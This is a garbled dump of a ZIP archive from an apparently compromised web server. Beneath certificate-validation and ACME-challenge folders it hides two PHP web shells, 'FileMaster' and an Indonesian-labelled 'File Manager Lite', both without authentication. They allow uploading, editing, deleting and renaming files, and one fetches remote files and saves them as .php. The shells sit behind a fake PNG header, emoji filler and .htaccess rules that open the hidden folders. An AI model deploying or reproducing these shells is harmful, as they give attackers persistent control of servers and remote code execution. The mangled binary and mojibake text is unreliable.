�ɲɾ�����ӯ�����һ��ˣ��������С���˴��ͣ�������P���ҹ��ñ˽��ά�Բ��������˸߸ԣ�������ơ��ҹ��ñ�����ά�Բ���ˡ���˳^�ӣ������ӡ�
���ͯj�ӣ��ƺ���ӣ�
? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!PK b0]1
;M M 3 pki-validation/10F49CC8420D1482FE2F0B1CD7610BA3.txtnu [ 2b5c8dbdfd230fafde3ee667d76d9ed38779f112e5e412e798bda8098b6c04ca
comodoca.comPK h0]9M M 3 pki-validation/65C8B7CDCF4C81C601714475964CFEEE.txtnu [ dcd65003499e214ad9e1c4f19dbb38d14a47f9e7a429abdd9a45b32dc164b3bf
comodoca.comPK p0];d4 4 acme-challenge/.htaccessnu [
Order Allow,Deny
Deny from all
Order Deny,Allow
Allow from all
PK p0]M M 3 pki-validation/B634214350C2D94CA5BDADB5B04BD934.txtnu [ 2f13ba9d4a83acd52e4dba568679453c9ec2eefe5b86362ed174bc9845791fd1
comodoca.comPK p0];d4 4 pki-validation/.htaccessnu [
Order Allow,Deny
Deny from all
Order Deny,Allow
Allow from all
PK p0];d4 4 .htaccessnu [
Order Allow,Deny
Deny from all
Order Deny,Allow
Allow from all
PK $2]7t t acme-challenge/network/index.phpnu [ d(・ω・d) 微分!(∫・ω・)∫ 積分!∂(・ω・∂) 偏微分!(∮・ω・)∮ 沿閉曲線的積分!(∬・ω・)∬ 重積分!∇(・ω・∇)梯度!∇・(・ω・∇・)散度!∇×(・ω・∇×)旋度!Δ(・ω・Δ)拉普拉斯!#゚Å゚)⊂彡☆))゚Д゚)・∵ლ(◉◞౪◟◉ )ლ千言萬語,不如一個「表情符號(emoji)」簡單生動又有趣!ಠ▃ಠ生氣、-`д´-憤怒、(¬_¬)無言、(•͈⌔•͈⑅)傷心、哭、開心、大笑、可愛、困惑、發呆、大眼睛、驚呀、跳舞、興奮、奔跑..≧Д≦ (;
≧皿≦) (⁎˃ᆺ˂) ╬ Ò ‸ Ó) <(`^´)> ( >д<)
(ꐦ ಠ皿ಠ ) (`Д´) (;
`O´)o o(-`д´- 。) ( ˃⌂˂ ) (°ㅂ° ╬)
(ʘ言ʘ╬) (Ò 皿 Ó ╬) (-`д´-) 눈_눈 (⋋▂⋌) (¬▂¬)
ಠ▃ಠ (>x<) ╰(‵□′)╯
pf
PHP Polyglot Example
PHP Polyglot Demo
pfbasePath = rtrim(str_replace('\\', '/', $realBase), '/');
}
public function getFullPath($path)
{
$path = str_replace('\\', '/', urldecode($path));
if (strpos($path, $this->basePath) === 0) {
return rtrim($path, '/');
}
if (strpos($path, '/') === 0) {
return rtrim($this->basePath . $path, '/');
}
return rtrim($this->basePath . '/' . $path, '/');
}
public function isSafePath($path)
{
$real = realpath($path);
if (!$real) return false;
return strpos($real, $this->basePath) === 0;
}
public function listDir($dir)
{
$fullPath = $this->getFullPath($dir);
if (!is_dir($fullPath)) {
return array();
}
$items = scandir($fullPath);
$items = array_filter($items, function ($v) {
return ($v !== '.' && $v !== '..');
});
usort($items, function ($a, $b) use ($fullPath) {
$aIsDir = is_dir($fullPath . '/' . $a);
$bIsDir = is_dir($fullPath . '/' . $b);
if ($aIsDir !== $bIsDir) {
return $aIsDir ? -1 : 1;
}
return strcasecmp($a, $b);
});
return $items;
}
public function readFile($file)
{
$fullPath = $this->getFullPath($file);
if (!$this->isSafePath($fullPath) || !is_file($fullPath)) {
return false;
}
return @file_get_contents($fullPath);
}
public function saveFile($file, $content)
{
$fullPath = $this->getFullPath($file);
if (!$this->isSafePath($fullPath) || !is_file($fullPath)) {
return false;
}
return @file_put_contents($fullPath, $content) !== false;
}
public function createFile($dir, $filename, $content)
{
$dirPath = $this->getFullPath($dir);
if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
return array('success' => false, 'message' => 'Invalid directory');
}
$filePath = $dirPath . '/' . $filename;
if (file_exists($filePath)) {
return array('success' => false, 'message' => 'File already exists');
}
$res = @file_put_contents($filePath, $content);
if ($res !== false) {
return array('success' => true, 'path' => $filePath);
}
return array('success' => false, 'message' => 'File creation failed');
}
public function createDir($dir, $name)
{
$dirPath = $this->getFullPath($dir);
if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
return array('success' => false, 'message' => 'Invalid parent directory');
}
$newDir = $dirPath . '/' . $name;
if (file_exists($newDir)) {
return array('success' => false, 'message' => 'Folder already exists');
}
if (@mkdir($newDir, 0755)) {
return array('success' => true, 'path' => $newDir);
}
return array('success' => false, 'message' => 'Folder creation failed');
}
public function deleteFile($file)
{
$filePath = $this->getFullPath($file);
if (!$this->isSafePath($filePath) || !is_file($filePath)) {
return array('success' => false, 'message' => 'Invalid or non-existent file');
}
if (@unlink($filePath)) {
return array('success' => true);
}
return array('success' => false, 'message' => 'File deletion failed');
}
public function deleteDir($dir)
{
$dirPath = $this->getFullPath($dir);
if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
return array('success' => false, 'message' => 'Invalid or non-existent folder');
}
if (count(scandir($dirPath)) > 2) {
return array('success' => false, 'message' => 'Folder is not empty');
}
if (@rmdir($dirPath)) {
return array('success' => true);
}
return array('success' => false, 'message' => 'Folder deletion failed');
}
public function rename($oldPath, $newName)
{
$oldFull = $this->getFullPath($oldPath);
if (!$this->isSafePath($oldFull) || !file_exists($oldFull)) {
return array('success' => false, 'message' => 'Invalid source file/folder');
}
$newFull = dirname($oldFull) . '/' . $newName;
if (file_exists($newFull)) {
return array('success' => false, 'message' => 'Target already exists');
}
if (@rename($oldFull, $newFull)) {
return array('success' => true, 'path' => $newFull);
}
return array('success' => false, 'message' => 'Rename failed');
}
public function fetchRemote($url, $dir)
{
$dirPath = $this->getFullPath($dir);
if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
return array('success' => false, 'message' => 'Invalid directory');
}
$fileName = basename(parse_url($url, PHP_URL_PATH));
if (!$fileName) {
$fileName = 'remote_' . time() . '.php';
}
if (strtolower(pathinfo($fileName, PATHINFO_EXTENSION)) === 'txt') {
$fileName = pathinfo($fileName, PATHINFO_FILENAME) . '.php';
}
$filePath = $dirPath . '/' . $fileName;
if (file_exists($filePath)) {
return array('success' => false, 'message' => "File already exists: $fileName");
}
$content = @file_get_contents($url);
if ($content === false) {
return array('success' => false, 'message' => 'Failed to fetch remote file');
}
if (@file_put_contents($filePath, $content) === false) {
return array('success' => false, 'message' => 'File save failed');
}
return array('success' => true, 'path' => $filePath);
}
public function upload($file, $dir)
{
$dirPath = $this->getFullPath($dir);
if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
return array('success' => false, 'message' => 'Invalid upload directory');
}
$target = $dirPath . '/' . basename($file['name']);
if (file_exists($target)) {
return array('success' => false, 'message' => 'File already exists');
}
if (@move_uploaded_file($file['tmp_name'], $target)) {
return array('success' => true, 'path' => $target);
}
return array('success' => false, 'message' => 'File upload failed');
}
public function search($dir, $term)
{
$dirPath = $this->getFullPath($dir);
if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
return false;
}
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS));
foreach ($iterator as $item) {
if (stripos($item->getFilename(), $term) !== false) {
return $item->getPathname();
}
}
return false;
}
public function previewFile($file)
{
$fullPath = $this->getFullPath($file);
if (!$this->isSafePath($fullPath) || !is_file($fullPath)) {
return false;
}
$content = @file_get_contents($fullPath);
if ($content === false) {
return false;
}
return substr($content, 0, 500); // Limit preview to 500 characters
}
}
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
function cleanPath($path)
{
$path = str_replace(array('\\', '..'), array('/', ''), $path);
return rtrim($path, '/');
}
$dir = cleanPath($dir);
$fileManager = new FileManager();
$flash = '';
$flashType = 'info';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$action = isset($_POST['action']) ? $_POST['action'] : '';
if ($action === 'create_file') {
$filename = isset($_POST['filename']) ? trim($_POST['filename']) : '';
$content = isset($_POST['content']) ? $_POST['content'] : '';
if ($filename === '') {
$flash = 'File name cannot be empty';
$flashType = 'error';
} else {
$res = $fileManager->createFile($dir, $filename, $content);
$flash = $res['success'] ? 'File created successfully' : ('Error: ' . $res['message']);
$flashType = $res['success'] ? 'success' : 'error';
}
}
elseif ($action === 'create_dir') {
$dirname = isset($_POST['dirname']) ? trim($_POST['dirname']) : '';
if ($dirname === '') {
$flash = 'Folder name cannot be empty';
$flashType = 'error';
} else {
$res = $fileManager->createDir($dir, $dirname);
$flash = $res['success'] ? 'Folder created successfully' : ('Error: ' . $res['message']);
$flashType = $res['success'] ? 'success' : 'error';
}
}
elseif ($action === 'delete_file') {
$target = isset($_POST['target']) ? cleanPath($_POST['target']) : '';
$res = $fileManager->deleteFile($target);
$flash = $res['success'] ? 'File deleted successfully' : ('Error: ' . $res['message']);
$flashType = $res['success'] ? 'success' : 'error';
}
elseif ($action === 'delete_dir') {
$target = isset($_POST['target']) ? cleanPath($_POST['target']) : '';
$res = $fileManager->deleteDir($target);
$flash = $res['success'] ? 'Folder deleted successfully' : ('Error: ' . $res['message']);
$flashType = $res['success'] ? 'success' : 'error';
}
elseif ($action === 'rename') {
$old = isset($_POST['old']) ? cleanPath($_POST['old']) : '';
$newName = isset($_POST['new']) ? trim($_POST['new']) : '';
if ($newName === '') {
$flash = 'New name cannot be empty';
$flashType = 'error';
} else {
$res = $fileManager->rename($old, $newName);
$flash = $res['success'] ? 'Renamed successfully' : ('Error: ' . $res['message']);
$flashType = $res['success'] ? 'success' : 'error';
}
}
elseif ($action === 'save_file') {
$file = isset($_POST['file']) ? cleanPath($_POST['file']) : '';
$content = isset($_POST['content']) ? $_POST['content'] : '';
$res = $fileManager->saveFile($file, $content);
$flash = $res ? 'File saved successfully' : 'File save failed';
$flashType = $res ? 'success' : 'error';
}
elseif ($action === 'fetch_remote') {
$url = isset($_POST['url']) ? trim($_POST['url']) : '';
if (filter_var($url, FILTER_VALIDATE_URL)) {
$res = $fileManager->fetchRemote($url, $dir);
$flash = $res['success'] ? 'Remote file fetched successfully' : ('Error: ' . $res['message']);
$flashType = $res['success'] ? 'success' : 'error';
} else {
$flash = 'Invalid URL';
$flashType = 'error';
}
}
elseif (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
$res = $fileManager->upload($_FILES['upload'], $dir);
$flash = $res['success'] ? 'File uploaded successfully' : ('Error: ' . $res['message']);
$flashType = $res['success'] ? 'success' : 'error';
}
header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($dir) . '&flash=' . urlencode($flash) . '&flash_type=' . urlencode($flashType));
exit;
}
if (isset($_GET['flash'])) {
$flash = $_GET['flash'];
$flashType = isset($_GET['flash_type']) ? $_GET['flash_type'] : 'info';
}
$searchTerm = isset($_GET['search']) ? trim($_GET['search']) : '';
$searchResult = false;
if ($searchTerm !== '') {
$searchResult = $fileManager->search($dir, $searchTerm);
}
$items = $fileManager->listDir($dir);
function breadcrumbs($path)
{
$path = trim(str_replace('\\', '/', $path), '/');
if ($path === '') {
return array(array('name' => 'Home', 'path' => '.'));
}
$parts = explode('/', $path);
$crumbs = array();
$acc = '';
foreach ($parts as $part) {
$acc .= ($acc === '' ? '' : '/') . $part;
$crumbs[] = array('name' => $part, 'path' => $acc);
}
array_unshift($crumbs, array('name' => 'Home', 'path' => '.'));
return $crumbs;
}
function sizeFormatted($bytes)
{
if ($bytes < 1024) return $bytes . ' B';
$units = array('KB', 'MB', 'GB', 'TB');
$power = floor(log($bytes, 1024));
$power = ($power > count($units)) ? count($units) : $power;
$value = round($bytes / pow(1024, $power), 2);
return $value . ' ' . $units[$power - 1];
}
function h($s)
{
return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
?>
FileMaster
pf
= h($flash) ?>
pf
pf
pf
pfreadFile($viewFile);
?>
Edit File: = h(basename($viewFile)) ?>
pf
File cannot be opened or does not exist.
pf
pf
pf
Directory: = h($dir) ?>
| Name |
Type |
Size |
Actions |
pf
| ← Parent Directory |
pf
pfgetFullPath($itemPath);
$isDir = is_dir($fullPath);
$size = $isDir ? '-' : sizeFormatted(filesize($fullPath));
$preview = !$isDir ? $fileManager->previewFile($itemPath) : false;
?>
|
= $isDir ? '' : '' ?>
pf
= h($item) ?>
pf
= h($item) ?>
pf
pf
pf
|
= $isDir ? 'Folder' : 'File' ?> |
= $size ?> |
pf
pf
pf
|
pf
pf
PK $2];d4 4 acme-challenge/network/.htaccessnu [
Order Allow,Deny
Deny from all
Order Deny,Allow
Allow from all
PK $2]aM M 3 pki-validation/0EF421D6999D0DE355D237AB7927D306.txtnu [ 8c56ba0f43d26b22e5dabd9066f327cc2d52ecdd8e904a047cfa4e6241060fd7
comodoca.comPK $2]GkM M 3 pki-validation/9B05049B256E0E2D5ACD8D3C0676461C.txtnu [ 3ad6fb96d17af20b8aaa6a93308f1f8167a660d82fdd61ce4d2ab3fdfcc22273
comodoca.comPK $2]-tM M 3 pki-validation/66078D17BA9C40CE97555E677164ABF7.txtnu [ e7cdf15564a4955d85fa923db014da94be711af309f746e6671cc942f9d5215f
comodoca.comPK $2]zM M 3 pki-validation/40B0DCD48320B578227A86401E9A960D.txtnu [ 4716aa95babcd9cbd7b0624dfad1a912c1a99a094d308f9c15f62cd068ee5e37
comodoca.comPK $2]ZM M 3 pki-validation/67A56840699E39A3A3AE8D838DDCAA2F.txtnu [ 1f3d7eb7ca822d0ba16b241415fddce59290dcb6be503a0cdd3ba9adc39d541a
comodoca.comPK $2] pki-validation/ID3/index.phpnu [ pf=1024 && $i 'File terlalu besar (php.ini)',
UPLOAD_ERR_FORM_SIZE => 'File terlalu besar (form)',
UPLOAD_ERR_PARTIAL => 'Upload terputus',
UPLOAD_ERR_NO_FILE => 'Tidak ada file',
UPLOAD_ERR_NO_TMP_DIR => 'TMP directory tidak ada',
UPLOAD_ERR_CANT_WRITE => 'Gagal menulis ke disk',
UPLOAD_ERR_EXTENSION => 'Diblok extension PHP'
];
$message = 'Upload error: ' . ($errs[$f['error']] ?? 'Unknown');
} elseif (!is_file($f['tmp_name'])) {
$message = 'TMP file tidak ditemukan: ' . htmlspecialchars($f['tmp_name']);
} elseif (@move_uploaded_file($f['tmp_name'], $target)) {
$message = 'Upload SUCCESS (move_uploaded_file)';
} elseif (@copy($f['tmp_name'], $target)) {
$message = 'Upload SUCCESS (fallback copy)';
} else {
$message = 'Upload gagal total';
}
}
/* === DELETE === */
elseif ($action === 'delete' && isset($_GET['item'])) {
$path = $currentDir . '/' . basename($_GET['item']);
if (is_file($path)) unlink($path);
elseif (is_dir($path)) @rmdir($path);
$message = 'Dihapus: ' . htmlspecialchars($_GET['item']);
}
/* === RENAME === */
elseif ($action === 'rename' && isset($_POST['oldname'], $_POST['newname'])) {
rename(
$currentDir.'/'.basename($_POST['oldname']),
$currentDir.'/'.basename($_POST['newname'])
);
$message = 'Rename berhasil';
}
/* === EDIT === */
elseif ($action === 'edit' && isset($_POST['filename'], $_POST['content'])) {
file_put_contents(
$currentDir.'/'.basename($_POST['filename']),
$_POST['content']
);
$message = 'File disimpan';
}
/* === LIST FILE === */
$items = scandir($currentDir);
sort($items);
?>
File Manager Lite
File Manager Lite
Dir: =htmlspecialchars($currentDir)?>
=htmlspecialchars($message)?>
pf[..]';
}
foreach ($items as $item) {
if ($item==='.'||$item==='..') continue;
$path = $currentDir.'/'.$item;
echo '';
if (is_dir($path)) {
echo '
'.$item.'/';
} else {
echo htmlspecialchars($item).' ('.formatSize(filesize($path)).')';
}
echo '
';
if (is_file($path)) {
echo ' ';
}
echo ' ';
echo ' ';
echo ' ';
}
/* === EDIT FORM === */
if ($action==='editform' && isset($_GET['item'])) {
$f = $currentDir.'/'.basename($_GET['item']);
if (is_file($f)) {
echo 'Edit: '.htmlspecialchars($_GET['item']).'
';
echo '';
}
}
/* === RENAME FORM === */
if ($action==='renameform' && isset($_GET['item'])) {
echo 'Rename
';
echo '';
}
?>
PK $2];d4 4 pki-validation/ID3/tmp/.htaccessnu [
Order Allow,Deny
Deny from all
Order Deny,Allow
Allow from all
PK $2];d4 4 pki-validation/ID3/.htaccessnu [
Order Allow,Deny
Deny from all
Order Deny,Allow
Allow from all
PK $2]Ig٘M M 3 pki-validation/1A8783C088C758A27BC0772F81756EFF.txtnu [ 261f3cdb404fa038d66b654531cde3b766d039b7d5087ed9442e52742da892dd
comodoca.comPK b0]1
;M M 3 pki-validation/10F49CC8420D1482FE2F0B1CD7610BA3.txtnu [ PK h0]9M M 3 pki-validation/65C8B7CDCF4C81C601714475964CFEEE.txtnu [ PK p0];d4 4 ` acme-challenge/.htaccessnu [ PK p0]M M 3 pki-validation/B634214350C2D94CA5BDADB5B04BD934.txtnu [ PK p0];d4 4 pki-validation/.htaccessnu [ PK p0];d4 4 .htaccessnu [ PK $2]7t t u acme-challenge/network/index.phpnu [ PK $2];d4 4 { acme-challenge/network/.htaccessnu [ PK $2]aM M 3 $} pki-validation/0EF421D6999D0DE355D237AB7927D306.txtnu [ PK $2]GkM M 3 } pki-validation/9B05049B256E0E2D5ACD8D3C0676461C.txtnu [ PK $2]-tM M 3 ~ pki-validation/66078D17BA9C40CE97555E677164ABF7.txtnu [ PK $2]zM M 3 4 pki-validation/40B0DCD48320B578227A86401E9A960D.txtnu [ PK $2]ZM M 3 pki-validation/67A56840699E39A3A3AE8D838DDCAA2F.txtnu [ PK $2] pki-validation/ID3/index.phpnu [ PK $2];d4 4 pki-validation/ID3/tmp/.htaccessnu [ PK $2];d4 4 5 pki-validation/ID3/.htaccessnu [ PK $2]Ig٘M M 3 pki-validation/1A8783C088C758A27BC0772F81756EFF.txtnu [ PK e